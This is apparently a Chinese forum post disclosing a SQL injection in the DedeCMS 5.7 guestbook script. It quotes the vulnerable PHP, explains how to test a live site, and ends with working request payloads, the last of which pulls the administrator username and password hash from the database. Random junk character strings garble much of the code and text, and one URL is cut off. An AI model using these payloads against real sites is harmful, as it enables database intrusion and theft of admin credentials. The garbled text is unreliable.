影响版本为5.7
* S' x5 A: _. M& y3 d
/ Q b T" M) X9 Y p) F漏洞文件edit.inc.php具体代码:
4 |6 x/ o. \9 Y, ?* J0 z% ?/ l+ }; u
/ J' G# R* F% b5 c3 I9 V' h5 [< ?php ; W' l: i4 _1 |, E; B3 `
8 C5 x" k: |/ ^2 d" b2 \( Bif(!defined('DEDEINC')) exit('Request Error!');
5 j4 r( F+ }& ?( n( E2 \% {
1 }% Z8 M5 ^/ n+ e: ^0 P, `: f- J
. ^1 w: R! {' Y4 A- Q7 z; H; C5 A" Y5 q
if(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS']; : H1 `' F# `- G/ u! j; g5 |" L5 s
5 T8 z& U3 j- o1 r% Zelse $GUEST_BOOK_POS = "guestbook.php";
9 g: \1 s% I+ ?' T5 D
: z2 y/ w) v. \0 w: @
5 h, c9 b, j* B( H' W. J
" z0 P d% b' M! [$id = intval($id);
* _: u) `! Z; E9 ~% U+ U- e2 G! ^- U( r) R. r1 n+ `4 _
if(empty($job)) $job='view';
0 J9 \7 c* j2 F- |$ N- c& G
8 A. s- {% L0 m
5 M* O, w. K7 r
/ a& s( O; J8 qif($job=='del' && $g_isadmin) ; t* h1 T; m( U
" I$ \* ]4 X U+ V7 ^6 s% d{ ! w9 a2 d' l* S6 G* ]; V% L. [
# b9 z# n" o% W8 w- F" N$ k. M9 H$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' ");
0 ?5 l8 }% }% E- U" b6 ]5 `' U& L) b
ShowMsg("成功删除一条留言!", $GUEST_BOOK_POS); % R# b) [: H: N
" y8 F3 I( X1 _; d; \) f9 g4 ^' F
exit(); 6 O* {' j$ @1 W6 U8 i N' z
8 ^2 r% x) N" N( B
}
1 M, E2 e3 v+ y$ ?# }; U- h# E- e1 u% u+ _* l; y8 W# D
else if($job=='check' && $g_isadmin)
6 h, t3 \$ D1 F I& u
) {, ^5 b* c* h$ Q4 H{
: X7 i1 _' {0 z% R Z. J" b, Q2 ^2 T: Z( Z3 I6 o5 h
$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' "); # H A7 ]6 }% M, m
q f* a6 }' L
ShowMsg("成功审核一条留言!", $GUEST_BOOK_POS); $ {) \) V& `0 M1 C
# k V& {8 R |0 L! G5 E
exit();
- j" x8 s- h. v1 S. O1 @) w; i+ ~) i* [1 T
}
2 t5 S$ ~. x1 l# N# x& K1 @6 Y# E9 P
l0 k; S+ ]; o* P0 d* p+ Welse if($job=='editok') + h( f2 \ |: X2 a2 q( x R
3 S _1 j0 Y# ^6 ] j0 x9 e{
# z- b2 G+ {" ^7 G( w& b! P
+ c8 h9 J! Q2 o) C- B% @7 h2 s$remsg = trim($remsg);
$ T/ ?5 O! W) H' ]1 J M
5 U1 o) Z3 Z# H# o) jif($remsg!='') ! f. P3 S) a* h/ X3 x. h
+ t' A0 z% L. k{
: Q( O, Y$ J5 a8 K, _' J! x9 j# `- \. M- M8 K" e3 t/ b
//管理员回复不过滤HTML By:Errorera blog:errs.cc 8 d+ l2 y* D, C Z6 s- h
4 R4 \+ b9 p7 @: t: e p% [1 U; uif($g_isadmin)
! w8 z- C, x- i9 U, H7 J( {& \ k
2 C) ]) U' d7 e# x( K' L{ ( A& I+ x# a0 s K# l% r: F
2 s3 m# J% G# L
$msg = "<div class='rebox'>".$msg."</div>\n".$remsg; # F, h5 ^9 C# d
) Q0 j+ {$ @2 X' t/ `//$remsg <br /><font color=red>管理员回复:</font> }
: I3 E; A( u5 t4 O7 c# K: h
; Y2 n; D z/ Helse G+ q# q& G! ?
7 ]9 b6 e3 @8 c{
2 ~. S0 o2 I* L+ k" s* v2 b, X$ `* F- b: V
$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' "); " L: Z: x& D% ?! @' |
; L' {( |* S4 r% f5 o' w
$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n";
9 @, Y) f0 w+ u4 O! a* E$ ^" Y1 y' h" s8 k: F5 z
$remsg = trimMsg(cn_substrR($remsg, 1024), 1);
& X% k" L$ g& f& `" c* ~% P8 C8 U5 K$ g( E H2 W
$msg = $oldmsg.$remsg;
: _) N2 c Q- {; x4 U. \6 }" e. t7 u/ z
}
* D; A6 I7 O4 l9 c' ^3 Y
6 N- ?1 T1 S- Z* ]) c& J* t8 P} 7 F: s' [+ J- R, H. e: h7 B
& c r9 o; W. r# l2 R//这里没有对$msg过滤,导致可以任意注入了By:Errorera home:www.errs.cc 7 t0 o2 d: c# V2 w% P
% F5 @1 r9 S5 b! A$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' ");
' i% P% h& s+ z" i* x( w/ }8 {4 t4 D2 ?! X
ShowMsg("成功更改或回复一条留言!", $GUEST_BOOK_POS);
2 w6 L1 \- G5 i, P; R4 t+ n- s F' D
1 M$ E X, G' C0 l; j" Cexit(); * t; B, U$ _" C/ S1 T0 `& P
: A, H! D/ p! g. u4 r5 j
} 8 u( m; u' S \5 `
; j6 U0 N6 f+ ]# U6 S9 n
//home:www.errs.cc ; j2 d$ L- o! L# X; }
* M8 c* m F$ N
if($g_isadmin)
/ k+ T% q5 v. r' ~! a! s
9 t* v. k* l; v{ 1 n5 z% ]/ g' X. t/ l
: l/ \* \; f- h! w$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'"); 9 F9 n9 J' C4 J& }5 E
# u& w0 n, H9 s3 Y7 D ~& Arequire_once(DEDETEMPLATE.'/plus/guestbook-admin.htm');
9 ~# g; M: H0 Y; S
- \9 O$ e0 @1 J% u} 6 L$ Z* S0 D) e2 X: |: D. H9 Z
8 z$ Q6 k. X3 l1 w1 _! z
else
( s w, a2 [& N$ L
% G7 v8 Y( A+ G* @/ o0 d# j{ / S% B% j O' B0 I. ~, x
. P+ k& _7 a1 W \, o* v, |$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'"); : U1 t5 K! L) x, { i8 g
$ Z7 B2 y9 I! K3 q: yrequire_once(DEDETEMPLATE.'/plus/guestbook-user.htm');
4 W% b& k: t8 E0 s2 u: U- S9 j2 y- t+ H5 w) ]1 K
} 漏洞成功需要条件:1 C# |- z0 i9 u: Z( W3 n' H
1. php magic_quotes_gpc=off, d; d) k7 _, A0 I, W
2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。6 w% `# M& k" P9 y1 w( l* m
' I% y9 q! }! u6 @8 s0 z
怎么判断是否存在漏洞:
/ D- V8 w9 i* q. U先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言,
9 l( {8 w6 z8 _! S! [2 C4 x然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID/ U" u% H8 G% S! @0 n4 F
访问:
' F) @3 W. j" [0 G' `: S. U) k# x) `. l m0 W0 c
www.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了% R8 R" D% Y, Y! B' e
跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证4 Q8 y/ L) R1 l6 ^
% z9 X4 o2 A( {( e1 B2 x
) H6 O0 ~$ }' U3 @1 m4 b' m; |明漏洞无法利用应为他开启了 php magic_quotes_gpc=off
0 q6 y' h1 T" e( M4 X' ?+ S如果没有修改成功,那留言ID的内容还是以前的 那就证明漏洞可以利用。0 Y; R, k+ N* h. v
那么再次访问
4 s0 y' k7 S3 `$ }' ]) T# [3 V# f0 T
www.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回,那条留言ID的内容就直接修改成了mysql 的user().
% H0 i% i$ b5 V) Y$ X7 ]! y3 v! p6 p7 g6 p+ F" ~# ?6 ]- l1 Q2 ^1 z
大概利用就是这样,大家有兴趣的多研究下!!
3 M, N! X9 {( d$ c4 Z
g! b3 d; T! o8 o' n最后补充下,估计有人会说怎么暴管理后台帐户密码,你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)!!, V4 g" N4 B5 h& X( h; l
. k9 K- |- {7 i K' X" ^view sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email=' |